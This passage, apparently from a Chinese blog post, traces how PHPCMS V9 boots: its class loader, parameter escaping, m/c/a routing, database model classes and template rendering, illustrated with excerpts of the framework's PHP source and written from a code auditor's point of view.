<span class="hljs-keyword">public</span> <span class="hljs-built_in">static</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">load_model</span>(<span class="hljs-params"><span class="hljs-variable">$classname</span></span>) </span>{<br><span class="hljs-keyword">return</span> <span class="hljs-built_in">self</span>::_load_class(<span class="hljs-variable">$classname</span>,<span class="hljs-string">'model'</span>);<br>}<br>}<br></code></pre></td></tr></table></figure><p>看了一圈下来感觉 <strong>pc_base类</strong> 其实也就是用于规划好的不同文件所在的位置,后面调用文件时直接去对应位置加载文件即可</p><h3 id="3、加载公用函数库,配置文件"><a href="#3、加载公用函数库,配置文件" class="headerlink" title="3、加载公用函数库,配置文件"></a>3、加载公用函数库,配置文件</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">// 加载函数库,其中有大量公用函数</span><br>pc_base::load_sys_func(<span class="hljs-string">'global'</span>);<br>pc_base::load_sys_func(<span class="hljs-string">'extention'</span>);<br>pc_base::auto_load_func();<br><span class="hljs-comment">// 加载配置文件</span><br>pc_base::load_config(<span class="hljs-string">'system'</span>,<span class="hljs-string">'errorlog'</span>)<br></code></pre></td></tr></table></figure><p>其中加载的函数库文件包括 global.func.php,该文件定义了一些安全相关函数:</p><ul><li><p><code>remove_xss()</code> - xss过滤函数,主要过滤一些敏感字符</p></li><li><p><code>safe_replace()</code> - 过滤 <code>%20, ' , ", <, ></code> 等敏感符号</p></li><li><p><code>new_addslashes()</code> - 底层是 <code>addslashes()</code> 实现</p></li></ul><h2 id="app初始化"><a href="#app初始化" class="headerlink" title="app初始化"></a>app初始化</h2><p>上面提到入口文件中通过一行代码就实现了程序初始化,下面具体看看这行代码做了什么</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php">pc_base::creat_app();<br></code></pre></td></tr></table></figure><p>在分析过程要有两个需要弄清的两个点:</p><p>1、程序最终将封装在实例化 application 类</p><p>creat_app() 就是实例化一个application类(具体代码下面看),下面为了方便称为app对象,程序从运行到结束会加载很多文件,都可以看做是app对象的操作</p><p>2、静态调用和实例对象分别做了什么?</p><p>静态调用只是实用类中的静态方法,不会影响类中的构造方法和属性;在phpcms中load_sys_class和其他方法具有实例化类对象的功能,从而加载的类会先执行一次构造方法,在下面的分析中要清晰的分析加载的类和自动实例化过程中要执行的构造方法</p><h3 id="1、构造app对象"><a href="#1、构造app对象" class="headerlink" title="1、构造app对象"></a>1、构造app对象</h3><blockquote><p>phpcms/base.php</p></blockquote><p>creat_app() 实际就是加载 <strong>phpcms/libs/classes/application.class.php</strong> ,然后会自动对 application.class.php 中的 application 类实例化,这里我称实例化的对象为<strong>app对象</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">public</span> <span class="hljs-built_in">static</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">creat_app</span>(<span class="hljs-params"></span>) </span>{<br><span class="hljs-keyword">return</span> <span class="hljs-built_in">self</span>::load_sys_class(<span class="hljs-string">'application'</span>);<br>}<br><span class="hljs-keyword">public</span> <span class="hljs-built_in">static</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">load_sys_class</span>(<span class="hljs-params"><span class="hljs-variable">$classname</span>, <span class="hljs-variable">$path</span> = <span class="hljs-string">''</span>, <span class="hljs-variable">$initialize</span> = <span class="hljs-number">1</span></span>) </span>{<br><span class="hljs-keyword">return</span> <span class="hljs-built_in">self</span>::_load_class(<span class="hljs-variable">$classname</span>, <span class="hljs-variable">$path</span>, <span class="hljs-variable">$initialize</span>);<br>}<br><span class="hljs-keyword">private</span> <span class="hljs-built_in">static</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_load_class</span>(<span class="hljs-params"><span class="hljs-variable">$classname</span>, <span class="hljs-variable">$path</span> = <span class="hljs-string">''</span>, <span class="hljs-variable">$initialize</span> = <span class="hljs-number">1</span></span>) </span>{<br> <span class="hljs-keyword">if</span> (<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$path</span>)) <span class="hljs-variable">$path</span> = <span class="hljs-string">'libs'</span>.DIRECTORY_SEPARATOR.<span class="hljs-string">'classes'</span>;<br> <span class="hljs-variable">$key</span> = md5(<span class="hljs-variable">$path</span>.<span class="hljs-variable">$classname</span>);<br> <span class="hljs-keyword">if</span> (file_exists(PC_PATH.<span class="hljs-variable">$path</span>.DIRECTORY_SEPARATOR.<span class="hljs-variable">$classname</span>.<span class="hljs-string">'.class.php'</span>)) {<br><span class="hljs-keyword">include</span> PC_PATH.<span class="hljs-variable">$path</span>.DIRECTORY_SEPARATOR.<span class="hljs-variable">$classname</span>.<span class="hljs-string">'.class.php'</span>;<br> <span class="hljs-keyword">if</span> (<span class="hljs-variable">$initialize</span>) {<br> <span class="hljs-comment">// 默认$initialize = 1,会实例化该类对象</span><br> <span class="hljs-variable">$classes</span>[<span class="hljs-variable">$key</span>] = <span class="hljs-keyword">new</span> <span class="hljs-variable">$name</span>;<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-variable">$classes</span>[<span class="hljs-variable">$key</span>] = <span class="hljs-literal">true</span>;<br> }<br>}<br></code></pre></td></tr></table></figure><p><strong>application.class.php</strong> 定义了 application 类,该类的构造方法如下,构造方法即<strong>app对象</strong>的实例化过程</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">application</span> </span>{<br><span class="hljs-comment">// 构造方法</span><br><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>) </span>{<br> <span class="hljs-variable">$param</span> = pc_base::load_sys_class(<span class="hljs-string">'param'</span>);<br> define(<span class="hljs-string">'ROUTE_M'</span>, <span class="hljs-variable">$param</span>->route_m());<br> define(<span class="hljs-string">'ROUTE_C'</span>, <span class="hljs-variable">$param</span>->route_c());<br> define(<span class="hljs-string">'ROUTE_A'</span>, <span class="hljs-variable">$param</span>->route_a());<br> <span class="hljs-keyword">$this</span>->init();<br>}<br></code></pre></td></tr></table></figure><h3 id="2、param类"><a href="#2、param类" class="headerlink" title="2、param类"></a>2、param类</h3><p><strong>app对象</strong> 首先需要加载 <code>phpcms/libs/classes/param.class.php</code> 的 <code>param类</code>,该类主要用于处理参数,其构造方法如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">param</span> </span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>) </span>{<br> <span class="hljs-keyword">if</span>(!get_magic_quotes_gpc()) {<br> <span class="hljs-variable">$_POST</span> = new_addslashes(<span class="hljs-variable">$_POST</span>);<br> <span class="hljs-variable">$_GET</span> = new_addslashes(<span class="hljs-variable">$_GET</span>);<br> <span class="hljs-variable">$_REQUEST</span> = new_addslashes(<span class="hljs-variable">$_REQUEST</span>);<br> <span class="hljs-variable">$_COOKIE</span> = new_addslashes(<span class="hljs-variable">$_COOKIE</span>);<br> }<br> <span class="hljs-comment">// 加载路由配置文件</span><br> <span class="hljs-keyword">$this</span>->route_config = pc_base::load_config(<span class="hljs-string">'route'</span>, SITE_URL) ? pc_base::load_config(<span class="hljs-string">'route'</span>, SITE_URL) : pc_base::load_config(<span class="hljs-string">'route'</span>, <span class="hljs-string">'default'</span>);<br> …… <br> }<br> <span class="hljs-comment">// 获取模型的方法,如果没有获取m参数,则采用路由配置文件的默认值,一般就是网站的首页</span><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">route_m</span>(<span class="hljs-params"></span>) </span>{<br> <span class="hljs-variable">$m</span> = <span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'m'</span>]) && !<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'m'</span>]) ? <span class="hljs-variable">$_GET</span>[<span class="hljs-string">'m'</span>] : (<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'m'</span>]) && !<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'m'</span>]) ? <span class="hljs-variable">$_POST</span>[<span class="hljs-string">'m'</span>] : <span class="hljs-string">''</span>);<br> <span class="hljs-variable">$m</span> = <span class="hljs-keyword">$this</span>->safe_deal(<span class="hljs-variable">$m</span>);<br> <span class="hljs-keyword">if</span> (<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$m</span>)) {<br> <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>->route_config[<span class="hljs-string">'m'</span>];<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-keyword">if</span>(is_string(<span class="hljs-variable">$m</span>)) <span class="hljs-keyword">return</span> <span class="hljs-variable">$m</span>;<br> } <br> }<br> <span class="hljs-comment">// 获取控制器、事件的方法同上</span><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">route_c</span>(<span class="hljs-params"></span>) </span>{}<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">route_a</span>(<span class="hljs-params"></span>) </span>{}<br>} <br></code></pre></td></tr></table></figure><p>可以看到GPC数据会被过滤,看到这里就可以放弃一些引号包裹的sql注入了</p><h3 id="3、app对象的初始化"><a href="#3、app对象的初始化" class="headerlink" title="3、app对象的初始化"></a>3、app对象的初始化</h3><p>app 对象通过<code>route_m()</code>, <code>route_c()</code>, <code>route_a()</code> 分别用于获取 <code>$_GET</code> 或 <code>$_POST</code> 中的 m, c, a参数,在PHPCMS9中 “m”代表模型,“c”代表控制器,“a”代表事件</p><p>它们的值都有具体对应的文件,<strong>m模型</strong>就是<code>phpcms/modules/</code>目录下的各个目录</p><img src="img/phpcms/image-20210713182222226.png" alt="image-20210713182222226" style="zoom:50%;" /><p><strong>c控制器</strong> 对应的就是 <code>模型目录</code> 下对应的php文件名或具体类名(文件名和类名一致)</p><img src="img/phpcms/image-20210713182428172.png" alt="image-20210713182428172" style="zoom:50%;" /><p><strong>a事件</strong> 对应这位类中定义的方法</p><img src="img/phpcms/image-20210713182640994.png" alt="image-20210713182640994" style="zoom:50%;" /><p>app对象获取到mca后,通过 <code>init()</code> 方法完成app对象初始化工作</p><p>看到 init() 方法代码去加载对应文件,最终通过 <code>call_user_func()</code>去执行对应的代码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">// phpcms/libs/classes/application.class.php : class application</span><br><span class="hljs-keyword">private</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">init</span>(<span class="hljs-params"></span>) </span>{<br><span class="hljs-variable">$controller</span> = <span class="hljs-keyword">$this</span>->load_controller();<br><span class="hljs-keyword">if</span> (method_exists(<span class="hljs-variable">$controller</span>, ROUTE_A)) {<br><span class="hljs-keyword">if</span> (preg_match(<span class="hljs-string">'/^[_]/i'</span>, ROUTE_A)) {<br><span class="hljs-keyword">exit</span>(<span class="hljs-string">'You are visiting the action is to protect the private action'</span>);<br>} <span class="hljs-keyword">else</span> {<br>call_user_func(<span class="hljs-keyword">array</span>(<span class="hljs-variable">$controller</span>, ROUTE_A));<br>}<br>} <span class="hljs-keyword">else</span> {<br><span class="hljs-keyword">exit</span>(<span class="hljs-string">'Action does not exist.'</span>);<br>}<br>}<br></code></pre></td></tr></table></figure><p>到这里基本就掌握了PHPCMS V9的程序流程,如我们通过<code>http://phpcms.test:8888/index.php?m=admin&c=badword&a=add</code>就可以访问<code>phpcms/modules/admin/badword.php</code> 中 <code>badword类</code> 的 <code>add()</code> 方法</p><h2 id="phpcms-首页执行流程"><a href="#phpcms-首页执行流程" class="headerlink" title="phpcms 首页执行流程"></a>phpcms 首页执行流程</h2><p>上面知道 phpcms 所有的程序最终将由 app 对象来执行并呈现,下面通过 phpcms 首页的执行流程为例做分析</p><p>在路由文件中 <code>caches/configs/route.php</code> 设定了默认的m,c,a为content,index,init,即网站的首页,根据默认 mca 值找到对应控制器的代码</p><h3 id="1、控制器对象实例化"><a href="#1、控制器对象实例化" class="headerlink" title="1、控制器对象实例化"></a>1、控制器对象实例化</h3><blockquote><p>phpcms/modules/content/index.php</p></blockquote><ul><li><strong>index控制器</strong>实例化时构造方法获主要加载了content_model数据模型,初始化了 <strong>index 控制器</strong>的基本属性</li><li>数据模型对应文件为 phpcms/model/content_model.class.php,等下以这个为例分析 phpcms 的数据模型是怎么工作的</li><li><strong>事件</strong>对应的方法为 init(),似乎没有做什么事情,最后加载模板文件从而输出视图</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">index</span> </span>{<br> <span class="hljs-keyword">private</span> <span class="hljs-variable">$db</span>;<br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>) </span>{<br> <span class="hljs-keyword">$this</span>->db = pc_base::load_model(<span class="hljs-string">'content_model'</span>);<br> <span class="hljs-keyword">$this</span>->_userid = param::get_cookie(<span class="hljs-string">'_userid'</span>);<br> <span class="hljs-keyword">$this</span>->_username = param::get_cookie(<span class="hljs-string">'_username'</span>);<br> <span class="hljs-keyword">$this</span>->_groupid = param::get_cookie(<span class="hljs-string">'_groupid'</span>);<br> }<br> <span class="hljs-comment">// 首页</span><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">init</span>(<span class="hljs-params"></span>) </span>{<br> <span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'siteid'</span>])) {<br> <span class="hljs-variable">$siteid</span> = intval(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'siteid'</span>]);<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-variable">$siteid</span> = <span class="hljs-number">1</span>;<br> }<br> <span class="hljs-variable">$siteid</span> = <span class="hljs-variable">$GLOBALS</span>[<span class="hljs-string">'siteid'</span>] = max(<span class="hljs-variable">$siteid</span>,<span class="hljs-number">1</span>);<br> define(<span class="hljs-string">'SITEID'</span>, <span class="hljs-variable">$siteid</span>);<br> <span class="hljs-variable">$_userid</span> = <span class="hljs-keyword">$this</span>->_userid;<br> <span class="hljs-variable">$_username</span> = <span class="hljs-keyword">$this</span>->_username;<br> <span class="hljs-variable">$_groupid</span> = <span class="hljs-keyword">$this</span>->_groupid;<br> <span class="hljs-comment">//SEO</span><br> ……<br> <span class="hljs-keyword">include</span> template(<span class="hljs-string">'content'</span>,<span class="hljs-string">'index'</span>,<span class="hljs-variable">$default_style</span>);<br>}<br></code></pre></td></tr></table></figure><h3 id="2、数据模型"><a href="#2、数据模型" class="headerlink" title="2、数据模型"></a>2、数据模型</h3><p>在看PHPCMS首页的数据模型前,我们需要知道PHPCMS的<strong>数据模型基类</strong>是怎么写的</p><h4 id="数据模型基类"><a href="#数据模型基类" class="headerlink" title="数据模型基类"></a>数据模型基类</h4><blockquote><p>phpcms/libs/classes/model.class.php</p></blockquote><ul><li><code>db_factory::get_instance()</code> 把 model 类的配置读取到 db_factory 类中的配置</li><li><code>db_factory::get_database()</code> db_factory 类将获取到数据库连接,最终返回到 model 类的 <code>$db</code> 属性中</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">// 加载且不实例化phpcms/libs/classes/db_factory.class.php,该文件定义了一个数据库工厂db_factory类,具有连接数据库的一些函数</span><br>pc_base::load_sys_class(<span class="hljs-string">'db_factory'</span>, <span class="hljs-string">''</span>, <span class="hljs-number">0</span>);<br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">model</span> </span>{<br> <span class="hljs-comment">//数据库配置</span><br> <span class="hljs-keyword">protected</span> <span class="hljs-variable">$db_config</span> = <span class="hljs-string">''</span>;<br> <span class="hljs-comment">//数据库连接</span><br> <span class="hljs-keyword">protected</span> <span class="hljs-variable">$db</span> = <span class="hljs-string">''</span>;<br> <span class="hljs-comment">//调用数据库的配置项</span><br> <span class="hljs-keyword">protected</span> <span class="hljs-variable">$db_setting</span> = <span class="hljs-string">'default'</span>;<br> <span class="hljs-comment">//数据表名</span><br> <span class="hljs-keyword">protected</span> <span class="hljs-variable">$table_name</span> = <span class="hljs-string">''</span>;<br> <span class="hljs-comment">//表前缀</span><br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$db_tablepre</span> = <span class="hljs-string">''</span>;<br><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>) </span>{<br> <span class="hljs-keyword">if</span> (!<span class="hljs-keyword">isset</span>(<span class="hljs-keyword">$this</span>->db_config[<span class="hljs-keyword">$this</span>->db_setting])) {<br> <span class="hljs-keyword">$this</span>->db_setting = <span class="hljs-string">'default'</span>;<br> }<br> <span class="hljs-keyword">$this</span>->table_name = <span class="hljs-keyword">$this</span>->db_config[<span class="hljs-keyword">$this</span>->db_setting][<span class="hljs-string">'tablepre'</span>].<span class="hljs-keyword">$this</span>->table_name;<br> <span class="hljs-keyword">$this</span>->db_tablepre = <span class="hljs-keyword">$this</span>->db_config[<span class="hljs-keyword">$this</span>->db_setting][<span class="hljs-string">'tablepre'</span>];<br> <span class="hljs-keyword">$this</span>->db = db_factory::get_instance(<span class="hljs-keyword">$this</span>->db_config)->get_database(<span class="hljs-keyword">$this</span>->db_setting);<br> }<br>……<br></code></pre></td></tr></table></figure><h4 id="数据库的具体连接"><a href="#数据库的具体连接" class="headerlink" title="数据库的具体连接"></a>数据库的具体连接</h4><p>上面说到 <code>db_factory::get_database()</code> 可以获取到数据库链接,看看具体代码</p><blockquote><p>phpcms/libs/classes/db_factory.class.phps</p></blockquote><ul><li><code>get_database()</code> 调用 <code>connect()</code></li><li><code>connect()</code> 根据配置文件加载并实例化最终的<strong>数据库实现类</strong>,我这里是mysqli,将会加载phpcms/libs/classes/db_mysqli.class.php ,并实例化 db_mysqli 类</li><li>$object 为 db_mysqli 类实例化对象,调用 open() 方法,并返回该对象</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">final</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">db_factory</span> </span>{<br> <span class="hljs-comment">// 获取数据库操作实例</span><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">get_database</span>(<span class="hljs-params"><span class="hljs-variable">$db_name</span></span>) </span>{<br> <span class="hljs-keyword">if</span>(!<span class="hljs-keyword">isset</span>(<span class="hljs-keyword">$this</span>->db_list[<span class="hljs-variable">$db_name</span>]) || !is_object(<span class="hljs-keyword">$this</span>->db_list[<span class="hljs-variable">$db_name</span>])) {<br> <span class="hljs-keyword">$this</span>->db_list[<span class="hljs-variable">$db_name</span>] = <span class="hljs-keyword">$this</span>->connect(<span class="hljs-variable">$db_name</span>);<br> }<br> <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>->db_list[<span class="hljs-variable">$db_name</span>];<br> }<br> <span class="hljs-comment">// 加载数据库驱动</span><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">connect</span>(<span class="hljs-params"><span class="hljs-variable">$db_name</span></span>) </span>{<br> <span class="hljs-variable">$object</span> = <span class="hljs-literal">null</span>;<br> <span class="hljs-keyword">switch</span>(<span class="hljs-keyword">$this</span>->db_config[<span class="hljs-variable">$db_name</span>][<span class="hljs-string">'type'</span>]) {<br> <span class="hljs-keyword">case</span> <span class="hljs-string">'mysqli'</span> :<br> <span class="hljs-variable">$object</span> = pc_base::load_sys_class(<span class="hljs-string">'db_mysqli'</span>);<br> ……<br> }<br> <span class="hljs-variable">$object</span>->open(<span class="hljs-keyword">$this</span>->db_config[<span class="hljs-variable">$db_name</span>]);<br> <span class="hljs-keyword">return</span> <span class="hljs-variable">$object</span>;<br>}<br></code></pre></td></tr></table></figure><blockquote><p>phpcms/libs/classes/db_mysqli.class.php</p></blockquote><ul><li>在 db_mysqli 中通过 open() 方法最终调用 connect() 实现数据库连接</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">final</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">db_mysqli</span> </span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$link</span> = <span class="hljs-literal">null</span>;<br> <span class="hljs-comment">// 打开数据库链接</span><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">open</span>(<span class="hljs-params"><span class="hljs-variable">$config</span></span>) </span>{<br> <span class="hljs-keyword">$this</span>->config = <span class="hljs-variable">$config</span>;<br> <span class="hljs-keyword">if</span>(<span class="hljs-variable">$config</span>[<span class="hljs-string">'autoconnect'</span>] == <span class="hljs-number">1</span>) {<br> <span class="hljs-keyword">$this</span>->connect();<br> }<br>}<br> <span class="hljs-comment">// 真正开启数据库连接,数据库连接放在 db_mysqli::$link 中</span><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">connect</span>(<span class="hljs-params"></span>) </span>{<br> <span class="hljs-keyword">$this</span>->link = <span class="hljs-keyword">new</span> mysqli(<span class="hljs-keyword">$this</span>->config[<span class="hljs-string">'hostname'</span>], <span class="hljs-keyword">$this</span>->config[<span class="hljs-string">'username'</span>], <span class="hljs-keyword">$this</span>->config[<span class="hljs-string">'password'</span>], <span class="hljs-keyword">$this</span>->config[<span class="hljs-string">'database'</span>], <span class="hljs-keyword">$this</span>->config[<span class="hljs-string">'port'</span>]?intval(<span class="hljs-keyword">$this</span>->config[<span class="hljs-string">'port'</span>]):<span class="hljs-number">3306</span>);<br> ……<br> <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>->link;<br>}<br></code></pre></td></tr></table></figure><p>到这数据库就真正连接了,并且数据库连接对象最终会返回到数据模型基类 <code>model::$db</code> 中,<code>model::$db->$link</code> 则是数据库连接。所以继承数据模型基类只需要带好数据库配置就会自动获取数据库连接对象。</p><p>注意 model 类封装了一些基础sql操作,如 getone() 方法用于从数据库中获取一条数据,直接通过 <code>model::getone()</code>即可调用,而 <code>model::getone()</code> 其实是调用 <code>model::$db->getone()</code> 来实现,所以最终实现sql操作的是 db_mysqli 这种<strong>数据库实现类</strong></p><h4 id="首页的数据模型"><a href="#首页的数据模型" class="headerlink" title="首页的数据模型"></a>首页的数据模型</h4><blockquote><p>phpcms/model/content_model.class.php</p></blockquote><ul><li><code>content_model</code> 继承数据模型基类 <code>model</code>,初始化时首先读取了 <code>caches/configs/database.php</code> 的配置信息,包括数据账号密码</li><li>然后执行了父类 模型基类 <code>model</code> 构造方法,从而实现数据连接,那么 <code>content_model::$db</code> 将是数据库连接对象</li><li>后面还加载了 phpcms/modules/content/classes/url.class.php ,并实例化了其中的url类放在 <code>$this->url</code> 中</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">// 加载且不实例化数据模型基类 phpcms/libs/classes/model.class.php</span><br>pc_base::load_sys_class(<span class="hljs-string">'model'</span>, <span class="hljs-string">''</span>, <span class="hljs-number">0</span>);<br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">content_model</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">model</span> </span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$table_name</span> = <span class="hljs-string">''</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$category</span> = <span class="hljs-string">''</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>) </span>{<br> <span class="hljs-comment">// 读取数据库配置文件</span><br> <span class="hljs-keyword">$this</span>->db_config = pc_base::load_config(<span class="hljs-string">'database'</span>);<br> <span class="hljs-keyword">$this</span>->db_setting = <span class="hljs-string">'default'</span>;<br> <span class="hljs-built_in">parent</span>::__construct();<br> <span class="hljs-comment">// 加载并实例化 url.class.php</span><br> <span class="hljs-keyword">$this</span>->url = pc_base::load_app_class(<span class="hljs-string">'url'</span>, <span class="hljs-string">'content'</span>);<br> <span class="hljs-keyword">$this</span>->siteid = get_siteid();<br> }<br> ……<br></code></pre></td></tr></table></figure><h3 id="3、视图"><a href="#3、视图" class="headerlink" title="3、视图"></a>3、视图</h3><p>在控制器事件中,最后一行代码 <code>include template('content','index',$default_style);</code> 是用于输出视图的,这里也简单关注一下phpcms是怎么输出视图的</p><blockquote><p>phpcms/libs/functions/global.func.php</p></blockquote><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">template</span>(<span class="hljs-params"><span class="hljs-variable">$module</span> = <span class="hljs-string">'content'</span>, <span class="hljs-variable">$template</span> = <span class="hljs-string">'index'</span>, <span class="hljs-variable">$style</span> = <span class="hljs-string">''</span></span>) </span>{<br> <span class="hljs-variable">$template_cache</span> = pc_base::load_sys_class(<span class="hljs-string">'template_cache'</span>);<br> <span class="hljs-comment">// 